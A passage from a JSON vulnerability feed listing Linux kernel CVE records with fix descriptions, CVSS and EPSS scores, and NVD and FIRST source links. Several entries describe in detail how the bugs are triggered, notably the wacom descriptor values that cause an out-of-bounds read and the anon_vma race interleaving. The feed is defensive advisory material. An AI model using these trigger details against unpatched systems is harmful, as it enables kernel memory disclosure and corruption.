score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98515&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98515, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98512","cveId":"CVE-2026-98512","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/nouveau: RCU-free the scheduler-containing nouveau_sched","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: RCU-free the scheduler-containing nouveau_sched\n\nstruct nouveau_sched embeds a struct drm_gpu_scheduler (base).\nnouveau_sched_destroy() calls nouveau_sched_fini() (which does\ndrm_sched_fini(&sched->base)) and then frees the object with plain\nkfree(sched).\n\ndrm_sched_fence_get_timeline_name() returns fence->sched->name, and the\nscheduler fence keeps a .release callback so it is not ops-detached on\nsignalling.  A finished fence exported to userspace via drm_syncobj /\nsync_file therefore keeps pointing at &sched->base after nouveau_sched_destroy(),\nand a later get_timeline_name() -- reachable unprivileged through\nSYNC_IOC_FILE_INFO -- dereferences freed memory (KASAN slab-use-after-free\nread).\n\nPer the dma-fence lifetime contract the exporter must keep the data backing a\nsignalled fence alive for an RCU grace period.  Free the scheduler-containing\nobject with kfree_rcu() instead of kfree().","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: RCU-free the scheduler-containing nouveau_sched\n\nstruct nouveau_sched embeds a struct drm_gpu_scheduler (base).\nnouveau_sched_destroy() calls nouveau_sched_fini() (which does\ndrm_sched_fini(&sched->base)) and then frees the object with plain\nkfree(sched).\n\ndrm_sched_fence_get_timeline_name() returns fence->sched->name, and the\nscheduler fence keeps a .release callback so it is not ops-detached on\nsignalling.  A finished fence exported to userspace via drm_syncobj /\nsync_file therefore keeps pointing at &sched->base after nouveau_sched_destroy(),\nand a later get_timeline_name() -- reachable unprivileged through\nSYNC_IOC_FILE_INFO -- dereferences freed memory (KASAN slab-use-after-free\nread).\n\nPer the dma-fence lifetime contract the exporter must keep the data backing a\nsignalled fence alive for an RCU grace period.  Free the scheduler-containing\nobject with kfree_rcu() instead of kfree().\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:02.457Z","updatedAt":"2026-10-24T14:16:45.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98512","asOf":"2026-10-24T14:16:45.290Z"},"epss":{"probability":0.00159,"percentile":0.05041,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98512&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98512","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98512","type":"primary","publishedAt":"2026-10-18T16:17:02.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98512&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98512, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98510","cveId":"CVE-2026-98510","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/xe/vm: nuke PTs only after unlinking contested VMAs","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/vm: nuke PTs only after unlinking contested VMAs\n\nIn xe_vm_close_and_put(), external-BO VMAs are queued on the contested\nlist for deferred destruction via xe_vma_destroy_unlocked(). However,\nxe_vm_pt_destroy() was previously invoked before processing contested\nVMAs, destroying vm->pt_root while those VMAs were still linked to their\nrespective buffer objects (vm_bo->list.gpuva).\n\nIf a concurrent thread evicts one of those shared buffer objects,\nxe_bo_trigger_rebind() holding only bo->resv walks the BO's VMAs and, in\nfault mode, calls xe_vm_invalidate_vma() -> xe_pt_zap_ptes(). Because\nvm->pt_root[tile->id] is already NULL, dereferencing pt->level causes a\nNULL ptr deref.\n\nFix this by deferring xe_vm_free_scratch() and xe_vm_pt_destroy() until\nafter all contested VMAs have been unlinked and destroyed.\n\nUser is reporting hitting a NULL ptr deref in xe_pt_zap_ptes(), which\ncould be explained by this race.\n\n(cherry picked from commit c2863648959489767f08892fd6e90577d2ea0b6a)","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/vm: nuke PTs only after unlinking contested VMAs\n\nIn xe_vm_close_and_put(), external-BO VMAs are queued on the contested\nlist for deferred destruction via xe_vma_destroy_unlocked(). However,\nxe_vm_pt_destroy() was previously invoked before processing contested\nVMAs, destroying vm->pt_root while those VMAs were still linked to their\nrespective buffer objects (vm_bo->list.gpuva).\n\nIf a concurrent thread evicts one of those shared buffer objects,\nxe_bo_trigger_rebind() holding only bo->resv walks the BO's VMAs and, in\nfault mode, calls xe_vm_invalidate_vma() -> xe_pt_zap_ptes(). Because\nvm->pt_root[tile->id] is already NULL, dereferencing pt->level causes a\nNULL ptr deref.\n\nFix this by deferring xe_vm_free_scratch() and xe_vm_pt_destroy() until\nafter all contested VMAs have been unlinked and destroyed.\n\nUser is reporting hitting a NULL ptr deref in xe_pt_zap_ptes(), which\ncould be explained by this race.\n\n(cherry picked from commit c2863648959489767f08892fd6e90577d2ea0b6a)\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:02.203Z","updatedAt":"2026-10-24T14:16:45.137Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98510","asOf":"2026-10-24T14:16:45.137Z"},"epss":{"probability":0.00168,"percentile":0.06169,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98510&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98510","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98510","type":"primary","publishedAt":"2026-10-18T16:17:02.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98510&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98510, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98507","cveId":"CVE-2026-98507","aliases":[],"kind":"vulnerability","title":"Linux kernel: mm/rmap: fix missing barrier between anon_vma init and vma->anon_vma publish","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm/rmap: fix missing barrier between anon_vma init and vma->anon_vma publish\n\nOn arm64 server, we find that a task trying to grab the anon_vma lock\ntriggers hungtask.\n\nINFO: task main:2354726 blocked for more than 120 seconds.\n      Tainted: G            E     5.10.0-0021.aarch64 #1\n\"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\ntask:main            state:D stack:    0 pid:2354726 ppid:2350673 flags:0x00000a01\nCall trace:\n __switch_to+0x7c/0xbc\n __schedule+0x3b4/0x8a0\n schedule+0x50/0xe0\n rwsem_down_write_slowpath+0x3cc/0x6cc\n down_write+0x60/0x260\n __anon_vma_prepare+0x6c/0x210\n do_anonymous_page+0x258/0x660\n handle_pte_fault+0x188/0x214\n __handle_mm_fault+0x1b0/0x380\n handle_mm_fault+0xf4/0x284\n do_page_fault+0x19c/0x494\n do_translation_fault+0xcc/0xf8\n do_mem_abort+0x48/0xac\n el0_da+0x44/0x80\n el0_sync_handler+0x88/0xb4\n el0_sync+0x160/0x180\n\nAfter analyzing the vmcore, we found the anon_vma->root->rwsem.count is\n-1.  There is another anon_vma whose anon_vma->root->rwsem.count is 1, the\nanon_vma->root->rwsem.owner shows the lock is held, but the stack of the\ntask shows the task doesn't hold the anon_vma lock.\n\nAfter adding more debugging info, we found __anon_vma_prepare() reuses\nanon_vma and triggers the UAF of anon_vma->root due to missing memory\nbarrier, leading to locking and unlocking two different anon_vma->root,\nthus leading to an anon_vma will never be unlocked, and another anon_vma\ncouldn't be locked anymore.\n\nThis race requires two adjacent VMAs that are not merged but are\nanon_vma-compatible (e.g., they differ in VMA_ACCESS_FLAGS that can be\nchanged by mprotect()).  Two threads fault on each VMA concurrently, both\ncalling __anon_vma_prepare() with only mmap_lock held for reading.\n\n    THREAD A                             THREAD B\n__anon_vma_prepare                __anon_vma_prepare\n find_mergeable_anon_vma() -> NULL\n anon_vma = anon_vma_alloc();\n   anon_vma->root = anon_vma;\n // the two stores may be reordered\n vma->anon_vma = anon_vma;\n                                   // finds A's anon_vma\n                                   anon_vma = find_mergeable_a","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm/rmap: fix missing barrier between anon_vma init and vma->anon_vma publish\n\nOn arm64 server, we find that a task trying to grab the anon_vma lock\ntriggers hungtask.\n\nINFO: task main:2354726 blocked for more than 120 seconds.\n      Tainted: G            E     5.10.0-0021.aarch64 #1\n\"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\ntask:main            state:D stack:    0 pid:2354726 ppid:2350673 flags:0x00000a01\nCall trace:\n __switch_to+0x7c/0xbc\n __schedule+0x3b4/0x8a0\n schedule+0x50/0xe0\n rwsem_down_write_slowpath+0x3cc/0x6cc\n down_write+0x60/0x260\n __anon_vma_prepare+0x6c/0x210\n do_anonymous_page+0x258/0x660\n handle_pte_fault+0x188/0x214\n __handle_mm_fault+0x1b0/0x380\n handle_mm_fault+0xf4/0x284\n do_page_fault+0x19c/0x494\n do_translation_fault+0xcc/0xf8\n do_mem_abort+0x48/0xac\n el0_da+0x44/0x80\n el0_sync_handler+0x88/0xb4\n el0_sync+0x160/0x180\n\nAfter analyzing the vmcore, we found the anon_vma->root->rwsem.count is\n-1.  There is another anon_vma whose anon_vma->root->rwsem.count is 1, the\nanon_vma->root->rwsem.owner shows the lock is held, but the stack of the\ntask shows the task doesn't hold the anon_vma lock.\n\nAfter adding more debugging info, we found __anon_vma_prepare() reuses\nanon_vma and triggers the UAF of anon_vma->root due to missing memory\nbarrier, leading to locking and unlocking two different anon_vma->root,\nthus leading to an anon_vma will never be unlocked, and another anon_vma\ncouldn't be locked anymore.\n\nThis race requires two adjacent VMAs that are not merged but are\nanon_vma-compatible (e.g., they differ in VMA_ACCESS_FLAGS that can be\nchanged by mprotect()).  Two threads fault on each VMA concurrently, both\ncalling __anon_vma_prepare() with only mmap_lock held for reading.\n\n    THREAD A                             THREAD B\n__anon_vma_prepare                __anon_vma_prepare\n find_mergeable_anon_vma() -> NULL\n anon_vma = anon_vma_alloc();\n   anon_vma->root = anon_vma;\n // the two stores may be reordered\n vma->anon_vma = anon_vma;\n                                   // finds A's anon_vma\n                                   anon_vma = find_mergeable_anon_vma(vma);\n                                   anon_vma_lock_write(anon_vma);\n                                     // may still see the old root\n                                     down_write(&anon_vma->root->rwsem);\n                                   anon_vma_unlock_write(anon_vma);\n                                     // see the new root, never unlock old\n                                     up_write(&anon_vma->root->rwsem);\n\nthread A triggers page fault and calls __anon_vma_prepare() to prepare\nanon_vma for the faulting vma.  __anon_vma_prepare() allocates and\ninitializes a new anon_vma, and then publishes it to the vma with a plain\nstore.  anon_vma_prepare() only requires the mmap_lock to be held for\nreading, so two threads can fault on adjacent VMAs at the same time. \nWhile thread A publishes a new anon_vma, thread B could find the anon_vma\nvia find_mergeable_anon_vma() and then locks anon_vma->root->rwsem.\n\nThe store to anon_vma->root in anon_vma_alloc() and the store to\nvma->anon_vma can be reordered.  The anon_vma_lock_write() and spin_lock()\nonly provide acquire semantics, which do not prevent prior stores from\nbeing reordered after them.  The release semantics of the corresponding\nspin_unlock() and anon_vma_unlock_write() come too late, the store to\nvma->anon_vma is already published before they take effect.  As a result,\nthread B can observe the following order:\n\n    vma->anon_vma = anon_vma;\n    anon_vma->root = anon_vma;\n\nThe anon_vma slab is SLAB_TYPESAFE_BY_RCU, so a newly allocated anon_vma\nmay reuse memory from a previously freed one.  The constructor\n(anon_vma_ctor) does not reset anon_vma->root, and __put_anon_vma()\ndoesn't clear it either, so the old root value persists until\nanon_vma_alloc() overwrites it.  If that store isn't v\n---truncated---\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:01.817Z","updatedAt":"2026-10-24T14:16:44.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98507","asOf":"2026-10-24T14:16:44.947Z"},"epss":{"probability":0.00164,"percentile":0.05567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98507&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98507","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98507","type":"primary","publishedAt":"2026-10-18T16:17:01.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98507&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98507, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98501","cveId":"CVE-2026-98501","aliases":[],"kind":"vulnerability","title":"Linux kernel: HID: alps: fix use-after-free on input2 registration failure","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nHID: alps: fix use-after-free on input2 registration failure\n\nalps_input_configured() stores data->input2 before calling\ninput_register_device().  If registration fails, input_free_device()\nfrees the input device but data->input2 still points to the freed memory.\nalps_input_configured() calls hid_hw_open() before allocating input2, so\nURBs are already active and raw_event can fire during the failure window.\nA U1_SP_ABSOLUTE_REPORT_ID report arriving then causes u1_raw_event()\nto dereference the freed data->input2 -> use-after-free.\n\nFix by only storing input2 into drvdata after successful registration\nand adding a NULL guard in the raw_event path.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nHID: alps: fix use-after-free on input2 registration failure\n\nalps_input_configured() stores data->input2 before calling\ninput_register_device().  If registration fails, input_free_device()\nfrees the input device but data->input2 still points to the freed memory.\nalps_input_configured() calls hid_hw_open() before allocating input2, so\nURBs are already active and raw_event can fire during the failure window.\nA U1_SP_ABSOLUTE_REPORT_ID report arriving then causes u1_raw_event()\nto dereference the freed data->input2 -> use-after-free.\n\nFix by only storing input2 into drvdata after successful registration\nand adding a NULL guard in the raw_event path.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:01.143Z","updatedAt":"2026-10-24T14:16:44.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98501","asOf":"2026-10-24T14:16:44.773Z"},"epss":{"probability":0.00259,"percentile":0.17452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98501&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98501","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98501","type":"primary","publishedAt":"2026-10-18T16:17:01.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98501&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98501, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98499","cveId":"CVE-2026-98499","aliases":[],"kind":"vulnerability","title":"Linux kernel: HID: wacom: fix OOB read in wacom_wac_pen_serial_enforce()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nHID: wacom: fix OOB read in wacom_wac_pen_serial_enforce()\n\nThe 'wacom_wac_pen_serial_enforce()' function may calculate and pass an\ninvalid offset to hid_field_extract(), resulting in memory reads at\nincorrect addresses -- possibly beyond the end of the report.  If a\nfield in the HID descriptor lists more usages than its Report Count\nactually reserves space for, the function's inner 'j' will walk past\nthe end of the field:\n\n\tfor (i = 0; i < report->maxfield; i++) {\n\t\tfor (j = 0; j < report->field[i]->maxusage; j++) {\n\t\t\t...\n\t\t\tvalue = hid_field_extract(hdev, raw_data + 1,\n\t\t\t\t\t\t  offset + j * size, size);\n\nA descriptor listing 12288 usages against Report Count 1 has the loop\nextract the usage at index 12287 from bit offset 98296 -- about 12 KB\npast a 2-byte received report.  The value is stored in\nwacom_wac->serial[0] and can reach userspace as an MSC_SERIAL event,\nmaking this an information disclosure.\n\nClamp the loop to field->report_count, the number of value slots the\nreport holds.  Value slots past the last declared usage are still\nscanned; they reuse that usage (HID 1.11, 6.2.2.8).\n\nVerified on v6.12.105 with a UHID reproducer: a 2-byte report from\nsuch a descriptor trips KASAN before the patch and not after it.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nHID: wacom: fix OOB read in wacom_wac_pen_serial_enforce()\n\nThe 'wacom_wac_pen_serial_enforce()' function may calculate and pass an\ninvalid offset to hid_field_extract(), resulting in memory reads at\nincorrect addresses -- possibly beyond the end of the report.  If a\nfield in the HID descriptor lists more usages than its Report Count\nactually reserves space for, the function's inner 'j' will walk past\nthe end of the field:\n\n\tfor (i = 0; i < report->maxfield; i++) {\n\t\tfor (j = 0; j < report->field[i]->maxusage; j++) {\n\t\t\t...\n\t\t\tvalue = hid_field_extract(hdev, raw_data + 1,\n\t\t\t\t\t\t  offset + j * size, size);\n\nA descriptor listing 12288 usages against Report Count 1 has the loop\nextract the usage at index 12287 from bit offset 98296 -- about 12 KB\npast a 2-byte received report.  The value is stored in\nwacom_wac->serial[0] and can reach userspace as an MSC_SERIAL event,\nmaking this an information disclosure.\n\nClamp the loop to field->report_count, the number of value slots the\nreport holds.  Value slots past the last declared usage are still\nscanned; they reuse that usage (HID 1.11, 6.2.2.8).\n\nVerified on v6.12.105 with a UHID reproducer: a 2-byte report from\nsuch a descriptor trips KASAN before the patch and not after it.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:00.913Z","updatedAt":"2026-10-24T14:16:44.603Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98499","asOf":"2026-10-24T14:16:44.603Z"},"epss":{"probability":0.0039,"percentile":0.32888,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98499","type":"primary","publishedAt":"2026-10-18T16:17:00.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98497","cveId":"CVE-2026-98497","aliases":[],"kind":"vulnerability","title":"Linux kernel: net/mlx5e: fix swapped IPv6 IPsec policy masks","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: fix swapped IPv6 IPsec policy masks\n\nIPv6 XFRM policies may use different source and destination prefix\nlengths. mlx5e_ipsec_policy_mask() builds the corresponding masks\nindependently, but setup_fte_addr6() installs each mask in the opposite\naddress field.\n\nWhen the prefix lengths differ, this makes the source match use the\ndestination prefix and the destination match use the source prefix. The\nresulting hardware rule can both miss traffic covered by the policy and\nmatch traffic outside it.\n\nInstall each mask in its corresponding match field.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: fix swapped IPv6 IPsec policy masks\n\nIPv6 XFRM policies may use different source and destination prefix\nlengths. mlx5e_ipsec_policy_mask() builds the corresponding masks\nindependently, but setup_fte_addr6() installs each mask in the opposite\naddress field.\n\nWhen the prefix lengths differ, this makes the source match use the\ndestination prefix and the destination match use the source prefix. The\nresulting hardware rule can both miss traffic covered by the policy and\nmatch traffic outside it.\n\nInstall each mask in its corresponding match field.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:00.697Z","updatedAt":"2026-10-24T14:16:44.467Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98497","asOf":"2026-10-24T14:16:44.467Z"},"epss":{"probability":0.00459,"percentile":0.39512,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98497&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98497","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98497","type":"primary","publishedAt":"2026-10-18T16:17:00.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98497&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98497, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98491","cveId":"CVE-2026-98491","aliases":[],"kind":"vulnerability","title":"Linux kernel: net: openvswitch: conntrack: avoid modifying shared unconfirmed ct entry","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: conntrack: avoid modifying shared unconfirmed ct entry\n\nIn a case where skb with an unconfirmed ct entry gets cloned, we may\nend up committing both but with different sets of extensions.\n\nThe series of events:\n\n 1. The first clone wants to commit and runs the helpers wiring up\n    the extension pointer into the expectation list.\n 2. Then it looses the confirmation keeping the entry unconfirmed.\n 3. Second clone now wants to commit labels and adds the new extension\n    for that breaking the pointer in the expectation list causing\n    UAF on the destruction path later.\n\nWhile this is possible to trigger, there should be no practical\nnetwork pipeline where committing both clones without modifications\ninto the same zone is needed.  So, let's just reset the entry in case\nfor some reason we got an skb with a shared one during commit.  This\ndoesn't affect any known use cases, but avoids any potential problems\nwith sharing and modification of the unconfirmed ct entry.\n\nThe fixes tag points to the introduction of helpers, since that's the\nmain UAF trigger for the sharing.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: conntrack: avoid modifying shared unconfirmed ct entry\n\nIn a case where skb with an unconfirmed ct entry gets cloned, we may\nend up committing both but with different sets of extensions.\n\nThe series of events:\n\n 1. The first clone wants to commit and runs the helpers wiring up\n    the extension pointer into the expectation list.\n 2. Then it looses the confirmation keeping the entry unconfirmed.\n 3. Second clone now wants to commit labels and adds the new extension\n    for that breaking the pointer in the expectation list causing\n    UAF on the destruction path later.\n\nWhile this is possible to trigger, there should be no practical\nnetwork pipeline where committing both clones without modifications\ninto the same zone is needed.  So, let's just reset the entry in case\nfor some reason we got an skb with a shared one during commit.  This\ndoesn't affect any known use cases, but avoids any potential problems\nwith sharing and modification of the unconfirmed ct entry.\n\nThe fixes tag points to the introduction of helpers, since that's the\nmain UAF trigger for the sharing.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:00.020Z","updatedAt":"2026-10-24T14:16:44.297Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98491","asOf":"2026-10-24T14:16:44.297Z"},"epss":{"probability":0.00169,"percentile":0.06257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98491&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98491","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98491","type":"primary","publishedAt":"2026-10-18T16:17:00.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), 